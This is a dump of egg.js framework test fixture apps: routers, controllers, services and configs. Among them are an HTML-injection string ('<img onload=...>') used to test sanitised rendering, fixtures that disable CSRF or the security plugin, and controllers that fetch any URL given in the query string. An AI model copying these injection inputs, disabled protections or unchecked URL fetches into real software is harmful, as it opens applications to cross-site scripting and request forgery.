    "content": "const path = require('path');\nconst fs = require('fs');\n\nmodule.exports = async function () {\n  const parts = this.multipart();\n  let filePart;\n  const fields = {};\n  for await (const part of parts) {\n    filePart = part;\n    if (Array.isArray(part)) {\n      fields[part[0]] = part[1];\n      continue;\n    } else {\n      break;\n    }\n  }\n\n  if (!filePart || !filePart.filename) {\n    this.body = {\n      message: 'no file',\n    };\n    return;\n  }\n\n  const ws = fs.createWriteStream(path.join(this.app.config.logger.dir, 'multipart-test-file'));\n  filePart.pipe(ws);\n  this.body = {\n    filename: filePart.filename,\n    fields,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multipart/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', app.controller.home);\n  app.post('/upload', app.controller.upload);\n  app.post('/upload.json', app.controller.upload);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multipart/app/view/home.html",
    "content": "<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">Upload</button>\n</form>\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multipart/config/config.default.js",
    "content": "exports.multipart = {\n  fileExtensions: ['.foo'],\n};\n\nexports.keys = 'foo,key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multipart/package.json",
    "content": "{\n  \"name\": \"multipart\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/controller/view.js",
    "content": "'use strict';\n\nexports.renderEjs = (ctx) => ctx.render('ext/a.ejs', { data: 1 }, { opt: 1 });\nexports.renderNunjucks = (ctx) => ctx.render('ext/a.nj', { data: 1 }, { opt: 1 });\nexports.renderWithOptions = (ctx) => ctx.render('ext/a.nj', {}, { viewEngine: 'ejs' });\n\nconst tpl = 'hello world';\nconst opt = { viewEngine: 'ejs' };\nexports.renderString = (ctx) => ctx.renderString(tpl, { data: 1 }, opt).then((data) => (ctx.body = data));\nexports.renderStringWithoutViewEngine = (ctx) => {\n  try {\n    return ctx.renderString(tpl);\n  } catch (err) {\n    return Promise.reject(err.message);\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/render-ejs', 'view.renderEjs');\n  app.get('/render-nunjucks', 'view.renderNunjucks');\n  app.get('/render-with-options', 'view.renderWithOptions');\n\n  app.get('/render-string', 'view.renderString');\n  app.get('/render-string-without-view-engine', 'view.renderStringWithoutViewEngine');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view/ext/a.ejs",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view/ext/a.nj",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view/loader/a.ejs",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view/loader/a.html",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view/loader/a.nj.ejs",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view/loader/a.noext",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view2/loader/a.nj",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app/view2/loader/from-view2.ejs",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/app.js",
    "content": "module.exports = (app) => {\n  app.view.use('ejs', require('./ejs'));\n  app.view.use('nunjucks', require('./nunjucks'));\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const root = [path.join(appInfo.baseDir, 'app/view'), path.join(appInfo.baseDir, 'app/view2')];\n  return {\n    view: {\n      root: root.join(', '),\n      defaultExt: '.ejs',\n      mapping: {\n        '.ejs': 'ejs',\n        '.nj': 'nunjucks',\n        '.html': 'html',\n      },\n    },\n\n    keys: 'test key',\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/ejs.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nclass EjsView {\n  async render(filename, locals, options) {\n    await scheduler.wait(10);\n    return {\n      filename,\n      locals,\n      options,\n      type: 'ejs',\n    };\n  }\n\n  async renderString(tpl, locals, options) {\n    await scheduler.wait(10);\n    return {\n      tpl,\n      locals,\n      options,\n      type: 'ejs',\n    };\n  }\n}\n\nmodule.exports = EjsView;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/nunjucks.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nclass NunjucksView {\n  async render(filename, locals, options) {\n    await scheduler.wait(10);\n    return {\n      filename,\n      locals,\n      options,\n      type: 'nunjucks',\n    };\n  }\n\n  async renderString() {}\n}\n\nmodule.exports = NunjucksView;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multiple-view-engine/package.json",
    "content": "{\n  \"name\": \"multiple-view-engine\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/nobuffer-logger/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/nobuffer-logger/package.json",
    "content": "{\n  \"name\": \"nobuffer-logger\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notfound/config/config.default.js",
    "content": "exports.notfound = {\n  pageUrl: 'https://eggjs.org/404',\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notfound/package.json",
    "content": "{\n  \"name\": \"notfound\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notfound-custom-404/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/404', function () {\n    this.body = 'Hi, this is 404';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notfound-custom-404/config/config.default.js",
    "content": "exports.notfound = {\n  pageUrl: '/404',\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notfound-custom-404/package.json",
    "content": "{\n  \"name\": \"notfound-custom-404\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notready/a/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.readyCallback('a');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notready/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notready/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notready/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.a = {\n  enable: true,\n  path: path.join(__dirname, '../a'),\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/notready/package.json",
    "content": "{\n  \"name\": \"notready\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/onerror/app/controller/home.js",
    "content": "exports.index = function () {\n  var err = new Error('test error');\n  if (this.query.code) {\n    err.code = this.query.code;\n  }\n  if (this.query.status) {\n    err.status = Number(this.query.status);\n  }\n  throw err;\n};\nexports.csrf = function () {\n  this.set('x-csrf', this.csrf);\n  this.body = 'test';\n};\nexports.test = function () {\n  var err = new SyntaxError('syntax error');\n  if (this.query.status) {\n    err.status = Number(this.query.status);\n  }\n  throw err;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/onerror/app/controller/user.js",
    "content": "module.exports = async function () {\n  var err = new Error('test error');\n  if (this.query.status) {\n    err.status = Number(this.query.status);\n  }\n  if (this.query.errors) {\n    err.errors = this.query.errors;\n  }\n  throw err;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/onerror/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home.index);\n  app.get('/csrf', app.controller.home.csrf);\n  app.post('/test', app.controller.home.test);\n  app.get('/user.json', app.controller.user);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/onerror/config/config.default.js",
    "content": "'use strict';\n\nexports.onerror = {\n  errorPageUrl: 'http://eggjs.org/500',\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/onerror/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/onerror/package.json",
    "content": "{\n  \"name\": \"onerror\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/override_method/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/test', function () {\n    this.body = 'test-get';\n  });\n\n  app.put('/test', function () {\n    this.body = 'test-put';\n  });\n\n  app.delete('/test', function () {\n    this.body = 'test-delete';\n  });\n\n  app.patch('/test', function () {\n    this.body = 'test-patch';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/override_method/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/override_method/package.json",
    "content": "{\n  \"name\": \"override_method\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/querystring-extended/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = {\n    query: this.query,\n    queries: this.queries,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/querystring-extended/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/querystring-extended/config/config.default.js",
    "content": "exports.querystring = {\n  mode: 'extended',\n};\n\nexports.security = {\n  ctoken: false,\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/querystring-extended/package.json",
    "content": "{\n  \"name\": \"querystring-extended\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/reload-worker/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = 'change';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/reload-worker/app/controller/home1.js",
    "content": "module.exports = async function () {\n  this.body = 'change';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/reload-worker/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/reload-worker/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/reload-worker/package.json",
    "content": "{\n  \"name\": \"reload-worker\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/response/app/router.js",
    "content": "const assert = require('assert');\n\nmodule.exports = (app) => {\n  app.get('/', function () {\n    this.body = 'hello';\n    assert.equal(this.response.length, 5);\n    this.body = Buffer.alloc(3);\n    assert.equal(this.response.length, 3);\n    this.body = {};\n    assert.equal(this.response.length, 2);\n    this.body = 'ok';\n    this.type = 'text';\n    this.response.type = 'plain/text';\n  });\n\n  app.get('/empty-json', async function () {\n    this.body = {};\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/response/config/config.default.js",
    "content": "exports.keys = 'f';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/response/package.json",
    "content": "{\n  \"name\": \"response\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/router-app/app/controller/locals.js",
    "content": "'use strict';\n\nexports.router = async function () {\n  await this.render('locals/router.html');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/router-app/app/controller/members.js",
    "content": "'use strict';\n\n// 测试 app.resources 遇到 controller 没有足够的 action 的场景\n\nexports.index = function () {\n  this.body = 'index';\n};\n\nexports.new = function () {\n  this.body = 'new';\n};\n\nexports.show = function () {\n  this.body = 'show - ' + this.params.id;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/router-app/app/controller/posts.js",
    "content": "'use strict';\n\nexports.index = function () {\n  this.body = 'index';\n};\n\nexports.new = function () {\n  this.body = 'new';\n};\n\nexports.create = function () {\n  this.body = 'create';\n};\n\nexports.show = function () {\n  this.body = 'show - ' + this.params.id;\n};\n\nexports.edit = function () {\n  this.body = 'edit - ' + this.params.id;\n};\n\nexports.update = function () {\n  this.body = 'update - ' + this.params.id;\n};\n\nexports.destroy = function () {\n  this.body = 'destroy - ' + this.params.id;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/router-app/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/locals/router', app.controller.locals.router);\n  app.get('member_index', '/members/index', 'members.index');\n  app.resources('posts', '/posts', 'posts');\n  app.resources('members', '/members', app.controller.members);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/router-app/app/view/locals/router.html",
    "content": "posts: /posts\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/router-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'my';\n\nexports.security = {\n  csrf: {\n    enable: false,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/router-app/package.json",
    "content": "{\n  \"name\": \"router-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/schedule/app/schedule/hello.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class LoggerExample extends app.Subscription {\n    static get schedule() {\n      return {\n        type: 'worker',\n        cron: '0 0 3 * * *',\n        immediate: true,\n      };\n    }\n\n    async subscribe() {\n      this.ctx.logger.info('Info about your task');\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/schedule/app/schedule/sub/cron.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async (ctx) => {\n  ctx.logger.warn('cron wow');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/schedule/config/config.default.js",
    "content": "exports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/schedule/package.json",
    "content": "{\n  \"name\": \"schedule\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/secure-app/app/controller/index.js",
    "content": "exports.home = async function () {\n  if (this.query.cookiedel) {\n    if (!this.query.opts) {\n      this.cookies.set('cookiedel', null);\n    } else {\n      const options = {\n        path: '/hello',\n        domain: 'eggjs.org',\n      };\n      this.cookies.set('cookiedel', null, options);\n    }\n  }\n  if (this.query.setCookieValue) {\n    this.cookies.set('foo-cookie', this.query.setCookieValue);\n  }\n\n  if (this.query.hasOwnProperty('cookiepath')) {\n    const opts = {\n      path: this.query.cookiepath,\n    };\n    if (this.query.cookiedomain) {\n      opts.domain = this.query.cookiedomain;\n    }\n    this.cookies.set('cookiepath', this.query.cookiepath, opts);\n  }\n  if (this.query.notSetPath) {\n    this.cookies.set('notSetPath', this.query.notSetPath, {\n      path: null,\n      domain: null,\n    });\n  }\n  this.body = 'hello mock secure app';\n};\n\nexports.getUser = async function () {\n  this.body = { name: 'fengmk2' };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/secure-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/user.json', app.jsonp(), 'index.getUser');\n  app.get('/', 'index.home');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/secure-app/config/config.default.js",
    "content": "exports.keys = 'foo';\nexports.proxy = true;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/secure-app/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/secure-app/config/plugin.js",
    "content": "exports.security = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/secure-app/package.json",
    "content": "{\n  \"name\": \"secure-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/service-app/app/controller/user.js",
    "content": "module.exports = async function () {\n  this.body = {\n    user: await this.service.user.get('123'),\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/service-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('user', '/user', 'user');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/service-app/app/service/user.js",
    "content": "module.exports = function (app) {\n  class User extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(uid) {\n      return {\n        userId: '123mock',\n      };\n    }\n  }\n\n  return User;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/service-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/service-app/package.json",
    "content": "{\n  \"name\": \"service-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/services_loader_verify/app/service/foo.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  return {\n    *bar(ctx) {\n      console.log(ctx);\n    },\n\n    *bar1(ctx) {\n      console.log(ctx);\n    },\n\n    aa: function* (ctx) {\n      console.log(ctx);\n    },\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/services_loader_verify/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/services_loader_verify/package.json",
    "content": "{\n  \"name\": \"services_loader_verify\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/singleton-demo/agent.js",
    "content": "'use strict';\n\nconst createDataService = require('./create').sync;\nconst createDataServiceAsync = require('./create').async;\n\nmodule.exports = (agent) => {\n  agent.addSingleton('dataService', createDataService);\n  agent.addSingleton('dataServiceAsync', createDataServiceAsync);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/singleton-demo/app.js",
    "content": "'use strict';\n\nconst createDataService = require('./create').sync;\nconst createDataServiceAsync = require('./create').async;\n\nmodule.exports = (app) => {\n  app.addSingleton('dataService', createDataService);\n  app.addSingleton('dataServiceAsync', createDataServiceAsync);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/singleton-demo/config/config.default.js",
    "content": "'use strict';\n\nexports.dataService = {\n  clients: {\n    first: { foo1: 'bar1' },\n    second: { foo2: 'bar2' },\n  },\n\n  default: {\n    foo: 'bar',\n  },\n};\n\nexports.dataServiceAsync = {\n  clients: {\n    first: { foo1: 'bar1' },\n    second: { foo2: 'bar2' },\n  },\n\n  default: {\n    foo: 'bar',\n  },\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/singleton-demo/create.js",
    "content": "'use strict';\n\nclass DataService {\n  constructor(config) {\n    this.config = config;\n  }\n\n  async getConfig() {\n    return this.config;\n  }\n\n  ready(done) {\n    setTimeout(done, 1000);\n  }\n}\n\nlet count = 0;\n\nexports.sync = (config, app) => {\n  const done = app.readyCallback(`DataService-${count++}`);\n  const dataService = new DataService(config);\n  dataService.ready(done);\n  return dataService;\n};\n\nexports.async = async (config, app) => {\n  const done = app.readyCallback(`DataService-${count++}`);\n  const dataService = new DataService(config);\n  dataService.ready(done);\n  return dataService;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/singleton-demo/package.json",
    "content": "{\n  \"name\": \"singleton-demo\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/siteFile-custom-cacheControl/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 'Hi, this is home';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/siteFile-custom-cacheControl/config/config.default.js",
    "content": "exports.siteFile = {\n  cacheControl: 'no-store',\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/siteFile-custom-cacheControl/package.json",
    "content": "{\n  \"name\": \"sitefile-custom-cachecontrol\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/static-server/app/public/foo.js",
    "content": "alert('bar');\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/static-server/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/static-server/config/plugin.js",
    "content": "exports.static = true;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/static-server/package.json",
    "content": "{\n  \"name\": \"static-server\",\n  \"spm\": {\n    \"less\": true\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = {\n    user: await this.service.user.get('123'),\n    cif: await this.service.cif.user.get('123cif'),\n    bar1: await this.service.foo.bar.get('bar1name'),\n    bar2: await this.service.foo.subdir.bar.get('bar2name'),\n    'foo.subdir2.sub2': await this.service.foo.subdir2.sub2.get('bar3name'),\n    subdir11bar: await this.service.foo.subdir1.subdir11.bar.get(),\n    ok: await this.service.ok.get(),\n    cmd: await this.service.certifyPersonal.mobileHi.doCertify.exec('hihi'),\n    serviceIsSame: this.service.certifyPersonal === this.service.certifyPersonal,\n    oldStyle: await this.service.oldStyle.url(this),\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/certify-personal/mobile-hi/do_certify.js",
    "content": "module.exports = function (app) {\n  class Certify extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async exec(cmd) {\n      return {\n        cmd: cmd,\n        method: this.ctx.method,\n        url: this.ctx.url,\n      };\n    }\n  }\n\n  return Certify;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/cif/user.js",
    "content": "module.exports = function (app) {\n  class UserCif extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(uid) {\n      return {\n        uid: uid,\n        cif: true,\n      };\n    }\n  }\n\n  return UserCif;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/foo/bar.js",
    "content": "module.exports = function (app) {\n  class Bar extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        name: name,\n        bar: 'bar1',\n      };\n    }\n  }\n\n  return Bar;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/foo/subdir/bar.js",
    "content": "module.exports = function (app) {\n  class Bar2 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        name: name,\n        bar: 'bar2',\n      };\n    }\n  }\n\n  return Bar2;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/foo/subdir1/subdir11/bar.js",
    "content": "module.exports = function (app) {\n  class Bar111 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        bar: 'bar111',\n      };\n    }\n  }\n\n  return Bar111;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/foo/subdir2/sub2.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Sub2 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        name: name,\n        bar: 'bar3',\n      };\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/ok.js",
    "content": "module.exports = (app) => {\n  return class OK extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get() {\n      return {\n        ok: true,\n      };\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/old_style.js",
    "content": "exports.url = async (ctx) => {\n  return ctx.url;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/app/service/user.js",
    "content": "module.exports = function (app) {\n  class User extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(uid) {\n      return {\n        uid: uid,\n      };\n    }\n  }\n\n  return User;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/config/config.default.js",
    "content": "exports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/subdir-services/package.json",
    "content": "{\n  \"name\": \"subdir-services\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  require('./tracer')(agent);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/app/controller/foo.js",
    "content": "module.exports = (app) => {\n  return {\n    async index(ctx) {\n      if (ctx.get('x-traceid')) {\n        ctx.traceId = ctx.get('x-traceid');\n        ctx.tracer = {\n          ...ctx.tracder,\n          traceId: ctx.get('x-traceid'),\n        };\n      }\n      const r = await app.curl(ctx.query.url, {\n        dataType: 'json',\n      });\n      app.logger.info('app logger support traceId');\n      ctx.body = {\n        url: ctx.query.url,\n        data: r.data,\n      };\n    },\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/app/controller/home.js",
    "content": "'use strict';\n\nexports.index = async function () {\n  const r = await this.curl(this.query.url, {\n    dataType: 'json',\n  });\n  this.body = {\n    url: this.query.url,\n    data: r.data,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', 'home.index');\n  app.get('/foo', 'foo.index');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  require('./tracer')(app);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'tracer-demo keys';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/package.json",
    "content": "{\n  \"name\": \"tracer-demo\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/tracer-demo/tracer.js",
    "content": "'use strict';\n\nconst { performance } = require('perf_hooks');\nconst { randomUUID } = require('crypto');\n\nmodule.exports = (app) => {\n  app.httpclient.on('request', (req) => {\n    if (!req.ctx) {\n      // auto set anonymous context\n      req.ctx = req.args.ctx = app.createAnonymousContext();\n      req.ctx.traceId = 'anonymous-' + randomUUID();\n    }\n    // set tracer id\n    if (!req.ctx.traceId) {\n      req.ctx.traceId = randomUUID();\n    }\n    req.starttime = performance.now();\n    req.args.headers = req.args.headers || {};\n    req.args.headers['x-request-id'] = req.ctx.traceId;\n    req.args.method = req.args.method || 'GET';\n    app.logger.info('[httpclient] [%s] %s %s start', req.ctx.traceId, req.args.method, req.url);\n  });\n\n  app.httpclient.on('response', (response) => {\n    const req = response.req;\n    const res = response.res;\n    app.logger.info(\n      '[httpclient] [%s] %s %s end, status: %s, use: %s',\n      req.ctx.traceId,\n      req.args.method,\n      req.url,\n      res.status,\n      Math.floor((performance.now() - req.starttime) * 1000) / 1000,\n    );\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/a.js",
    "content": "aaa;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/async.js",
    "content": "module.exports = (app) => {\n  return class AsyncController extends app.Controller {\n    async index() {\n      const ctx = this.ctx;\n      await ctx.render('index.html', { name: 'mk・2' });\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/context.js",
    "content": "module.exports = async function () {\n  await this.render('js.html', {\n    context: {\n      a: this.request.body.a,\n    },\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/csrf.js",
    "content": "module.exports = async function () {\n  await this.render('form_csrf.html');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/empty.js",
    "content": "module.exports = async function () {\n  await this.render('index.html');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/home.js",
    "content": "module.exports = async function () {\n  await this.render('index.html', { name: 'mk・2' });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/inject.js",
    "content": "module.exports = async function () {\n  await this.render('inject.html');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/locals.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  this.state.foo = 'foo';\n  this.locals.bar = 'bar';\n  await this.render('locals.html');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/nonce.js",
    "content": "module.exports = async function () {\n  await this.render('nonce.html');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/shtml.js",
    "content": "module.exports = async function () {\n  var view = this.query.vm ? 'shtml.vm' : 'shtml.html';\n  await this.render(view, {\n    foo: '<img onload=\"xx\"><h1>foo</h1>',\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/sjs.js",
    "content": "module.exports = async function () {\n  var view = 'sjs.html';\n  await this.render(view, {\n    foo: '\"hello\"',\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/string.js",
    "content": "module.exports = async function () {\n  this.body = await this.renderString('{{ context.a }}', {\n    context: {\n      a: 'templateString',\n    },\n  });\n};\n"
  },
  {
